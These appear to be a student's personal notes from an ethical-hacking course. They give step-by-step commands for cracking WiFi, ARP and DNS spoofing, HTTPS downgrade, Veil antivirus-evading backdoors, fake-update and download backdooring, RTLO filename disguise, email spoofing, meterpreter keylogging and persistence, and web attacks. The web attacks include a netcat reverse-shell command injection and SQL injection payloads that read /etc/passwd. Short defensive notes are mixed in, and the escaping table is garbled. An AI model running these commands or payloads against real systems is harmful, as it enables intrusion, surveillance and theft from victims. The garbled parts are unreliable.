

SECTION1-12

Thursday, May 4, 2023 8:10 PM

Explainshell.com -> gives description of the command we input to it

TERMINATOR : Ctrl+Shift+O,E -> to split terminal Ctrl+Sift+X -> to close

If when installing packages have connection error then in /etc/apt/sources.list we need to change the url from kali.mirror.list to kali.download

For wifi hacking we need a wifi adapter that supports monitor mode,packet injection,AP mode in it
And recommended chipsets for it should be atheros , realtek

When we connect wireless adapter it will add a interface wlan0(example)

We can shutdown it by (ifconfig wlan0 down/up)

- Ifconfig wlan0 hw ether 00:11:22:33:44:55 (to change the mac address)
 - Iwconfig (to see only wireless interfaces)
- (managed mode is the default which will capture packets destination mac with this mac)
- Airmon-ng check kill (it will kill network manager process to not disturb our process)
 - Iwconifg wlan0 mode monitor (to change to monitor mode)

(we need to shutdown and apply the changes and restart the adapter)

PACKET SNIFFING:

- Use airodump-ng as part of aircrack-ng suit of packages.
- Used to capture all packets within range
- Display detailed info about networks around us
- Connected clients etc..

airodump-ng interfacename

(PWR - signal strength - higher number higher strength,

Beacons - broadcast frames to know this is there to other wireless devices)

Usually we can sniff networks with the frequency supported by the wireless adapter(if 2.4ghz then only 2.4ghz , if 5ghz then 5ghz(even if it sniffs it will not support monitor mode))

airodump-ng --band a(5ghz) mon0

airodump-ng --band abg(2.4,5ghz) mon0

It is like 802.11a,b,g that thing it is mentioning

a-> 5ghz

b,g ->1.4ghz

n-> 5,2.4ghx

ac -> lower than 6ghz

TARGETED SNIFFING:

- Airodump-ng --bssid targetbssid --channel targetchannel --write test(file to write the info) wlan0 (can be found in the above command)

When we run above command it will display the details of that network and also stations(client) connected to that network and display their mac address.

The filename we gave as test will generate 4 files with that prefix

- .cap (captured data -- everything that happened in the network(authentication,datas sent))
- .csv
- .kismet.csv
- .kismet.netxml

DEAUTHENTICATION ATTACK:

- Works by changing our mac address to the target client mac address and request the AP to disconnect and also next packet with source mac as ap's mac address and dest to same ap mac address and disconnect

aireplay-ng --deauth/-0 10000000(give really large number of packets) -a BSSIDofthenetwork -c MACOFCLIENT -D(if 5ghz frequency) wlan0

It will send packets and till we stop it client will not be able to connect

GAINING ACCESS - WIRELESS NETWORKS:

- **WEP:**
 - o Uses an algorithm called RC4
 - o Easy to crack

WEP will generate random initialization vector in 24 bits and this one combined with password of the network gives a key stream(IV+password = key stream) which gives the encrypted data and sent to air

Here WEP also appends the IV(in plain text) in the packet for router to decrypt the packet

Capture packets(large in number in order to easily crack , if in idle network it will be complex) using airodump-ng and analyse using aircrack-ng

- airodump-ng --bssid targetbssid --channel targetchannel --write test wlan0
- Aircrack-ng test-01.cap

(it will show us the cracked password in KEY FOUND section with 5 2digit numbers splitted by : (need to remove : and paste the password in te wifi to connect) or in the ASCII in the output)

If the network is not busy we can send fake authentication to AP to increase the busy of networks

aireplay-ng --fakeauth 0(reassociation timing in seconds) -a BSSID -h MACOFourWirelessAdapter wlan0 (just associate with the network not connecting with the network)

- This is ARP REPLAY attack

(wait for arp packet , capture it and replay it and ap produces another packet with new IV)

aireplay-ng --arpplay -b BSSID -h MACOFourWirelessAdapter wlan0

Now if we give the aircrack command with the .cap it will crack

WEP - RC4

WPA - DKIP

WPA2 - CCMP

- **WPA/WPA2**

WPS is a feature used in WPA2,WPA

- Allows to connect without the password
- Authentication is done using an 8 digit pin which also can be used to compute the actual password
- After a number of failed attempts the wps feature will get locked
- Only works if router is configured not to use PBC(push button authentication)

WPS is used to allow users to connect to their wireless network without entering the key, this is done by pressing a WPS button on both the router and the device that they want to connect, the authentication works using an eight digit pin, hackers can brute force this pin in relatively short time (in an average of 10 hours), once they get the right pin they can use a tool called reaver to reverse engineer the pin and get the key,

wash --interface wlan0 (lists networks which has WPS enabled)

aireplay-ng --fakeauth 30(reassociation timing in seconds) -a BSSID -h MACOFourWirelessAdapter wlan0

reaver --bssid MACOFTARGET --channel channeloftargetnetwork --interface wlan0 -vvv(verbose or in detail) --no-associate(which we do in the above command since if reaver associates it is buggy)

It will return the WPS PIN that got successful and its WPA PSK key in the output

(not useful if Push button auth is enabled or wps is disabled)

CAPTURING HANDSHAKE:

- We can use the handshake packets when client connects to the AP
- We can force the client to deauth and make them connect again to capture the handshake
- Status will be displayed in airodump-ng outputonce it is received
- This can be used to crack(used only to check if a key is valid or not it will not contain the data that helps recover the key)

CREATING A WORDLIST:

Crunch [min] [max] [characters] -t [pattern] -o [FileName]

Ex: crunch 6 8 123abc\$ -o wordlist -t a@@@b

Man crunch(info on command)

PROCESS DONE BY AIRCRACK:

- 1) The handshake is unpacked
- 2) The unpacked one has a message integrity code(MIC) that is used to verify whether the password is correct or not and when unpacking it will have some useful information
- 3) Our wordlist item and the unpacked info from handshake is used to generate a MIC and compare with the MIC in the handshake

Aircrack-ng test-01.cap(capture file after handshake received) -w wordlist.txt

MAXIMIZING WIRELESS SECURITY:

- ip route command to see the default gateways
We will get the ip of router
- Disable the wps feature
- Use mac filtering to filter clients

POST - CONNECTION ATTACKS:

- netdiscover -r(range) 10.0.2.1/24(local eth0 interface starting add, wireless adapter when connected to network we can use ip assigned in this command)
(gives the ip , mac addresss, vendor details etc..)

In KALI we can type zenmap in terminal to open GUI of nmap

In jailbroken devices(in apple to remove restrictions we install something on phone and mac) ssh server will be running with default password as alpine

ARP SPOOFING:

- 1) Tell AP that I am the target
- 2) Tell target I am AP
- 3) Both AP,target will update its arp table

arpspoof -i wlan0/eth0 -t 10.0.2.7(targetip) 10.0.2.1(ap ip)
arpspoof -i eth0/wlan0 -t 10.0.2.1 10.0.2.7

echo 1 > /proc/sys/net/ipv4/ip_forward (ipforwarding)in the kali machine to forward traffic from ap to target as normal)

Bettercap:

- Arp spoof targets
- Sniff data
- Bypass https
- Redirect domain requestss
- Inject code in loaded pages .. Etc..

bettercap -iface eth0

(it will give a command place where we can execute commands)

>help (there will be many modules most of it will be not running)

>help net.probe(modulename)

>net.probe on

>net.show (client details)

>set arp.spoof.full duplex true

>set arp.spoof.targets targetip

>arp.spoof on

Net.sniff module to analyze the flowing data through us

>net.sniff on

(outputs the collected data that is done by the clients)

IF WE WANT TO RUN THE COMMANDS IN THE BETTERCAP

Bettercap -face eth0 -caplet spoof.cap(which has each command in each line)

(ONLY WORKS FOR HTTP WITH THIS WAY SINCE HTTPS WILL ENCRYPT DATA)

We can downgrade the https web app to http

>set net.sniff.local true

(when we enable a caplet for downgradign https it will seem as if the requests are from the kali machine so that's why we need to set it to analyze)

>caplets.show (lists all the caplets in bettercap)

>capletname_from_the_list(hstshijack/hstshijack)

(now the websites which users visit will be downgraded to http)

In chrome we need to give all the websites we target with https in the hijacking caplet but in firefox it is not needed)

HSTS(HTTP Strict Transport Security)-used by some websites(popular):

Modern browsers are hard-coded to only load a list of HSTS websites over https(browsers checks to load https only locally)

We can trick the browser into loading a different websites(ex: facebook.com->facebook.corn,twitter.com->twiter.com)

NOTE: if user is typing the website name In the browser then this will not work so after going to google and click facebook only will work

HSTS hijack works normal in firefox but in chrome if secure dns is enabled the dns spoofing will not work and it will not modify the website name so this will work in chrom eif that is disabled

RESPONDING WITH A FAKE WEBSITE

We can give our locally running website to users if they ask for google.com

Service apache2 start

(go to browser with ip as eth0 ip)

Modify the html file here /var/www/html/index.html

```

Bettercap -iface eth0 -caplet spoof.cap
>help dns.spoof
>set dns.spoof.all true (to respond to every dns request)
>set dns.spoof.address ip(default is interface address)
>set dns.spoof.domains google.com,fb.com(target websites)
>dns.spoof on

```

BETTERCAP CODE INJECTION

- Create a javascript to inject on the website that loads in target computer
- Open .cap file in /usr/local/share/bettercap/caplets/hstshijack/hstshijack.cap and in the **set hstshijack.payloads** section give the path of .js file **set hstshijack.payloads */path,*/path**
- *Means all domains,./ means path of js
- As usual bettercap -iface command,hstshijack/hstshijack command to start the injection

Custom hsts hijack script

UI BETTERCAP:

```

-----
>ui.update
>http-ui
USERNAME:user,PASSWORD:pass

>set net.sniff.local true
>set net.sniff.output /root/capturefile.cap(everything captured)

```



hstshijack-v
4

FAKE ACCESS POINT:

- Wireless adapter that supports AP mode
- Eth0 interface has internet connection

We can create a wifi hotspot connection in the kali machine to create a fake access point

SECURING OURSELVES FROM THESE ATTACKS:

ARP SPOOF ATTACKS:

- XArp tool in both windows and linux
- It will monitor the arp table and notify user if changes are detected
- In Wireshark in preferences>protocol>arp>[check]detect arp request storms
- In analyze>expert information it will give us the details of the arp storm detected
- We can also do a static arp table mapping for more security

MITM ATTACKS:

- HTTPS everywhere plugin- for websites that support https(to encrypt all traffic)(similar to hsts) Will still be able to see visited websites,run dns spoofing
- Using a vpn(provides the encrypted tunnel between us and vpn provider and after that provider will take care) - works for http also and can't see visited pages
- Make sure vpn provider supports no logs and is not free

SECTION 13-

Tuesday, May 9, 2023 2:16 PM

GAINING ACCESS:

Metasploitable is a vulnerable distro that contains a number of vulnerabilities and designed for pentesters to try and hack it.

<https://information.rapid7.com/metasploitable-download.html>

SERVER SIDE ATTACKS:

- Need an ip address
- Simple if target is on the same network

Information gathering:

- Try default password
- Services might be misconfigured such as "r" service. Ports 512,513,514
- Some might even contain a back door
- Code execution vulnerabilities

Using the ip we can run nmap/zenmap and see open services/ports for inspecting the vulnerable

METASPLOIT COMMANDS:

- Msfconsole - runs metasploit console
- Help
- Show [something] - something can be exploits,payloads,auxiliaries or options
- Use [something] - use a certain exploit,payload or auxiliary
- Set [option][value] - configure [option] to have a value of [value]
- Exploit - runs current task

- 1) Msfconsole
- 2) Use ss/sss/ss/exploitname
- 3) Show options
- 4) Set RHOST 10.02.10.215
- 5) Exploit

NEXPOSE:

- Vulnerability management framework
 - o Discover open ports and running services
 - o Find vulnerabilities
 - o Find exploits
 - o Verify them
 - o Generate reports
 - o Automate scans

Enterprise environment ready, need more resources like 8gb and more storage

We have to create sites that we are analyzing and give authentication for website and scan type to scan all vulnerability(same like zenmap but more depth)

CLIENT SIDE ATTACKS:

- A backdoor is a file that gives us a full control over the machine that it gets executed on
- Backdoors can be caught by anti virus programs
- VEIL is a framework for generating undetectable backdoors

<https://github.com/Veil-Framework/Veil>

apt update

apt install -y veil

/usr/share/veil/config/setup.sh --force --silent

Veil (goes to the cli of it and we can execute commands)

Commands:

- Exit
- Info (info on specific tool)
- List (available tools)
- Options
- Update (update veil)
- Use (use specific tool)

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions

```
>use 1(evasion)
>list (list available payloads)
```

```
Go/meterpreter/rev_https.py
(language)/(payload type)/(filename/method used to establish connection)
```

Note: reverse connection means the target will connect to us instead of us connecting to them

```
>use 15(go/meterpreter/rev_https.py)
```

(we can see available commands and options and we can set the LHOST for which the connections should go)

```
>set LHOST 10.20.14.213(our ip)
>set LPORT 8080
>options(list options that we can set)
```

ANTI VIRUS WOULD HAVE A LARGE DATABASE OF SIGNATURES SO IT WILL COMPARE OUR CODE AND SIGNATURES TO CHECK IF THERE IS ANY EVIL CODE

```
>set PROCESSORS 1
>set SLEEP 1000
```

(these we are giving to bypass one antivirus program to make the code look different to it)

```
>generate
```

(it will ask the path where we need to put this and it will generate the file and give the output saying backdoor.exe is there here and the corresponding source code and metasploit RC file is written here etc..)

<https://nodistribute.com> website checks if it bypasses antivirus programs

After executing the backdoor in the target it needs to connect to us so that port needs to be open / listening

```
>use exploit/multi/handler
>show options
>set PAYLOAD windows/meterpreter/reverse_https
>set LHOST backdoorusedip
>set LPORT backdoorusedport
>exploit
(now it will wait for the connection from backdoor)
```

Simple way to install the .exe file for now is to start the apache2 service and place the backdoor by creating a new folder inside /var/www/html called something and place the backdoor in it and in the target browse to <http://kaliip/evilfilesfolder> and it will list the files in there and click and download it and in kali it will open cmd

FAKE WINDOWS UPDATE DELIVERY OF BACKDOOR:

Install evilgrade binary file and give ./evilgrade to install it

```
>show modules
>configure dap
>show options
```

```
>set agent /var/www/html/backdoor.exe (program to execute when update)
>set endsite www.speedbit.com (website to display after update is complete)
>start
```

Note: like if we take chrome as an example if we click update in the app it will check in its server that whether any update is available or not so we will replace the update server's ip address with our evilgrade/kali ip address and we will tell the app that update is available and we will send the backdoor code to update. So the user will think chrome is only doing things


BACKDOOR ANY EXE THE TARGET DOWNLOADS:

```
1_ set ip address in config > leafpad /etc/bdfproxy/bdfproxy.cfg (/opt/bdfproxy)(in this file change the host to kaliip)
2_ start bdfproxy > bdfproxy ./bdf_proxy.py
3_ redirect traffic to bdfproxy > iptables -t nat -A PREROUTING -p tcp --destination-port 80(BETTERCAP) -j REDIRECT --to-port 8080(BDFPROXY RUNNING PORT)
4_ start listening for connections > msfconsole -r(--resource) /usr/share/bdfproxy/bdf_proxy_msf_resource.rc(file created by bdfproxy)
4_1 > sessions -l(list sessions captured)
4_2 sessions -i 1 (go to the first session)
5_ start arp spoofing
```

NOTE: if anything the client downloads any exe(eg:android studio) bdf proxy will create a backdoor on the fly (only for http)

Securing ourselves for these:

- Use trusted networks,xarp
- Only download from https pages
- Check the MD5 after download(<http://www.winmd5.com/>)


install_bdfp
roxy


flushiptable
s


payloads

SOCIAL ENGINEERING:

- MALTEGO is a tool to discover any info about any info
- This tool works with a graph like tool where everything we feed is a entity(New Graph > left menu has list of entities > drag and drop one by one to the right in the graph > right click the entity and run transformers)
- Entity: ex: website,mx record,ip addresss,device,email address,phone number etc..
- Offers free and paid versions
- We can import new entities from Entities>Entity Manager in the GUI to import to the left entity palatte

BACKDOOR THROUGH ANY FILE TYPE THAT'S USER EXPECTS:

Create a file that has code(ex:autoit in kali) to download both files(the one which user expects,another one which is backdoor both online links) and make that extension as au3 and go to Compile Script tool(Compiling autoit code) in kali and make it a executable and change the icon for the executable to the one that user expects

By default it will compile into a .exe file so if we want a jpg for example then we need to use a right to left override character to look like it is .jpg file

Ex:
gtr-image.exe
Gtrjpg.exe
gtr(paste the character here from characters application by searching the same in that (U+202E))jpg.exe
So when converting it will give gtrexe.jpg

But when downloading from internet browsers will remove this character so we need to download a archive file and then do others

EMAIL SPOOFING:

Send fake emails using smtp server offered by many like sendinblue
(free smtp servers will go to spam folders in gmail,hotmail etc.c.)
(it will appear like same from email as the real one if we use smtp server)

In kali after smtp server is setup we can send emails below

```
sendemail -xu ram@gmail.com -zp password -s smtp.server.com:25 -f "how from email should look that email" -t  
"targetperson email" -u "title of email" -m "message body" -o message-header="From: Mohammad Askar  
<m.askar@security.org>"(how in inbox from header should like)
```

In dropbox in the url at last ?dl=0 this will ask the user to click download button but if we put ?dl=1 then it will be automatically download

DREAM HOST can be used to host recommended by zaid

BEEF:



autoit-dow
nload-and...

Browser exploitation framework(injecting javascript code to run in browsers)

- Dns spoof requests to a page containing a hook
- Inject the hook in browsed pages(need to be MITM)
- Use XSS exploit
- Social engineer the target to open a hook page

Username(default):beef

Password: (should be set when running beef start on linux UI)

In the cmd it will give you the location of beef js code <script src=""><?script>

Use this one in web server that we use to mitm

After the code is executed the online browsers > will have an entry of the target and we can start executing commands to the target or act them as a proxy for something etc...

ALSO WE CAN PASS OUR INJECT_CODE.JS(INSERTING A SCRIPT ELEMENT IN EACH PAGE THAT POINTS TO CODE BEEF RUNNING ON A SERVER) INTO PAYLOADS SECTION IN HSTSHIJACK BETTERCAP

Detecting trojans:

- See the properties of the file
- Go to resource monitor in windows to see networks> tab to see open ports
- In open ports you can see ip address using for the ports you can use that to see the dns name(reverse dns lookup)
- Use an online sandbox <https://www.hybrid-analysis.com/> and upload the file and see the report

WE CAN EXPOSE THE SERVICES(BEEF,METERPRETER ETC.) TO THE INTERNET BY:

- Port forwarding through the router
- Installing kali/tools on the cloud
- Port forwarding using ssh
- Tunneling services

In the veil evasion when generating backdoors we can target our router's ip(public ip) instead of our machine ip to direct external host to us via backdoor

- For this we need to give router ip
- In router configure to route request to 8080 to kali machine
 - route -n --- in kali to find the gateway internal ip
 - Look for ip forwarding to forward to particular machines
 - (public port ,target ip(kali),target port(kali port),protocols)
- In kali machine listen to port 8080 using internal ip using multi handler in metasploit

IN SOME ROUTERS THEY HAVE A FEATURE CALLED DMZ HOST(BASICALLY IP FORWARDING THAT FORWARDS EVERY REQUEST TO THE PARTICULAR IP (KALI FOR EG)

POST EXPLOITATION:

After we have gained access through the backdoor we will have a meterpreter session going on

- 1) Meterpreter > help (commands available)
- 2) Meterpreter > background (minimizes the session)
- 3) Meterpreter > sessions -l
- 4) Meterpreter > sessions -i(interact) 2(idof session)
- 5) Meterpreter > sysinfo (computer(target) information)
- 6) Meterpreter > ipconfig(interfaces connected to target computer)
- 7) Meterpreter > ps(processes running in target computer)
- 8) Meterpreter >migrate 2116(windows explorer procesid) (it will run process named ike explorer.exe in target to not terminate if target closes)
- 9) Meterpreter > pwd,ls,cd (common windows command we can use)
- 10) Meterpreter >upload backdoorfilename (to upload it to target)
- 11) Meterpreter > execute -f backdoorfileintarget(to execute the backdoor)
- 12) Meterpreter > shell (gives us the windows cmd as the target)

- Using veil invasion - If the target restarts the computer our session gets terminated. Rev_http_service or rev_tcp_service use this module to create backdoor and execute it in target
- Using metasploit+veil-evasion -
 - Msf exploit(handler) > use exploit/windows/local/persistence
 - Msf exploit(persistence) > set EXE_NAME browser.exe(processname that runs when deploying it)
 - Msf exploit(persistence) > set SESSION 1(which session it needs to connect to)
 - Msf exploit(persistence) > show advanced(show advanced options available)
 - Msf exploit(persistence) > set EXE::Custom /var/www/html/backdoor.exe (set our backdoor into that process to run)
 - Msf exploit(persistence) > exploit

Msf exploit(handler) > sessions -l 2
Meterpreter > keyscan_start (starts listening all keystrokes)
Meterpreter > keyscan_dump (gives us what has been types)
meterpreter > keyscan_stop (to stop)
Meterpreter > screenshot (take a screenshot of target computer)

Post Exploitation (using hacked device to hack other devices in thsat network)

- Set up a route between hacker and hacked device.
 - Gives hacker access to devices on the network.
 - Use metasploit exploits auxiliaries ...etc
1. Use it > use post/windows/manage/autoroute
 2. Set subnet of target network. > set subnet [subnet]
 3. Set session id. > set session [id]
 4. exploit. > exploit

- Use /exploit/multi/samba/usermap_script
 - Set RHOST kali ip
 - Show payloads
 - Set PAYLOAD cmd/unix/bind_netcat
 - Exploit (exploit will fail)
-
- Use post/multi/manage/autoroute
 - Show options
 - Set SESSION 1
 - Set SUBNET 10.20.15.0(target will have other interfaces that it is connected to that subnet we can put here)
 - Exploit

Now if we use the previous usermap payload > exploit it will work

WEBSITE HACKING

Wednesday, May 24, 2023 8:13 PM

Client side attacks - managed by humans

Server side attacks - computer uses a n OS+ other application

Web application pentesting - an app installed on a computer

INFORMATION GATHERING:

- Ip address
- Domain info
- Technologies used
- Other websites on the same server
- DNS records
- Unlisted files,sub domains , directories

- 1) Whoislookup:
 - a. Find info about owner of the target
 - b. <http://whois.domaintools.com/>
- 2) Netcraft Site Report
 - a. Shows technologies used on the target
 - b. http://toolbar.netcraft.com/site_report?url=
- 3) Robtex DNS lookup:
 - a. Shows comprehensive info about the target website
 - b. <https://www.robtx.com/>
 - c. We can see the websites hosted on same web server/ (names pointing to same ip)
 - d. We can also use bing or google keywords to search for websites with same ip - bing(ip:targetip -> lists websites on same ip as result)
- 4) Subdomain finding:
 - a. knockpy google.com(install knockpy)
- 5) Find files&directories in target website:
 - a. man dirb (all options for the tool)
 - b. dirb <http://10.20.14.204/directoryname/> (uses inbuilt wordlist and find the other url's in the given one)
 - c. dirb <http://ip/dir/> wordlist.txt

FILE UPLOAD VULNERABILITY:

Wherever in any website if we can upload anything(eg:profilepic in linkedin) we can upload malicious code using weeveily.

>weeveily generate 123445(password to allow security to to allow only us to access the target after it is uploaded) /root/shell.php(filename)

In the website if we know the location then we can get the uploaded file via url (if possible)

>weeveily <http://ip/path/backdoor.php>(url/website where backdoor is uploaded) 123456(password when generated)

(now it will go to a session where we can run any linux commands)

CODE EXECUTION VULNERABILITIES:

Look for any input box in website.

For example: there is an ping command box where we can type ip address and submit but in backend code if it is only taking all the input then ping \$(any input). Here we can give other commands with a ;.

Ping ip;backdoor command we need;

First we should listen on some port in our kali:

- nc -vv -l -p 8080

Next we need give backdoor reverse connection command in ping input box:

- 10.22.22.22;Nc-e /bin/sh 10.20.14.203(kali ip) 8080(kali port)

LOCAL FILE INCLUSION VULNERABILITIES:

Allows an attacker read any file on the same server ,access files outside www directory

In the url of the website we can do some manipulation with some parameters like ?var=value (value with some command or specific file we discovered)

REMOTE FILE INCLUSION VULNERABILITIES:

N local file inclusion we will specify known local files in server like ?page=include.php here we would specify remote file like ?page=http://10.20.11.22/reverse.php

MITIGATION:

- 1) File upload vulns - only allow safe files to be uploaded
- 2) Code execution vulns:
 - a. Don't use dangerous functions
 - b. Filter use input before execution
- 3) File inclusion:
 - a. Disable allow_url_fopen & allow_url_include in php codes
 - b. Use static file inclusion

SQL INJECTION VULNERABILITIES:

In the website in login page it will ask username,password but in backend in some websites they would write select * from accounts where user='\$username' and password='\$password' like this if it is coded then we can pass password='123456' and 1=1# and get all details same like code execution vulnerabilities

And if in the url it is php=index.php&username=user&password=pass etcc we can inject

If there is any get request and in url there is some parameter with key val pair then we can inject our own code to retrieve info

?username=zaid&password=pass

To

?username=zaid' union all select * from accounts %23\$password=pass

%23 means #

Eg:

union select 1,table_name,null,null,5 from information_Schema.tables where table_schema = 'owasp10'
union select 1,column_name,null,null,5 from information_Schema.columns where table_name='accounts'

union select nul,load_file('/etc/passwd'),null,null,null

(filepath in the server to look in the file content)

Union select null,'example example',null,null,null into outfile '/var/www/mutillidae/example.txt'

(filepath in the server to write the content)

SQLMAP (TOOL FOR SQL INJECTION):

- Tool designed to exploit sql injections
- Works with many db types mysql,mssql,etc..
- Can be used to perform everything we learned
 - o >sqlmap --help
 - o >sqlmap -u [targeturl which has the urlbased vulnerability as GET request]
 - o >sqlmap -u "targeturl" --current-db/--dbs/-tables -D owasp10(there several command once we can detect vulnerabilities)

We need to use parameterization, filters to make sure these vulnerabilities are not possible

EXPLOITATION - XSS VULNERABILITIES:

XSS - CROSS SITE SCRIPTING VULNERABILITIES

- Allows an attacker to inject javascript code into the page
- Code is executed when the page loads
- Code is executed on the client machine no the server

Types:

- Persistent/stored XSS
- Reflected XSS
- DOM based XSS

Reflected XSS:

- None persistent,not stores
- Only work if target visits a specifically crafted url
- Ex: [http://target/page.php?something=<script>alert\('XSS'\)</script>](http://target/page.php?something=<script>alert('XSS')</script>)

Stored XSS:

- Persistent, stored on the page or db
- The injected code is executed everytime the page is loaded
- If there is a form/inputbox for adding comments then in there if possible can use the stored css to store the script
- We can give instead of message <script src="http://beefurl/hook.js"></script>

PREVENTING THIS EXPLOIT:

- Minimize the usage of user input on html
- Escape any untrusted input before inserting it into the page

Char	Result
&	&
<	<
>	>
"	"
'	'
/	&@x2F;

This is actually to convert the JS code into a text to not execute

ZED ATTACK PROXY (ZAP):

- Automatically find vulnerabilities in web applications
- Free and easy to use
- Can also be used for manual testing
- App in kali

We need to give website address and ZAP will give us result. We can give some scan policy to concentrate on something like only for sql injection etc..

NOTE: PENTESTING WILL DO LIKE GO TO EVERY SUBDOMAIN AND DOMAIN AND PLAY THROUGH THE PARAMETERS IN THAT WEBSITE

Burp or Burp Suite is a set of tools used for penetration testing of web applications. It is developed by the company named Portswigger. Burp Suite is an integrated platform/graphical tool for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.

bug-bounty.com - offered by zaid for programs

Platforms:

<https://www.hackerone.com/>
<https://bugcrowd.com/>
<https://www.intigriti.com/>
<https://www.yeswehack.com/>
<https://bug-bounty.com/>

PENTESTING REPORTS:

<https://github.com/juliocesarforn/public-pentesting-reports>



Sample+Pe
ntest+Re...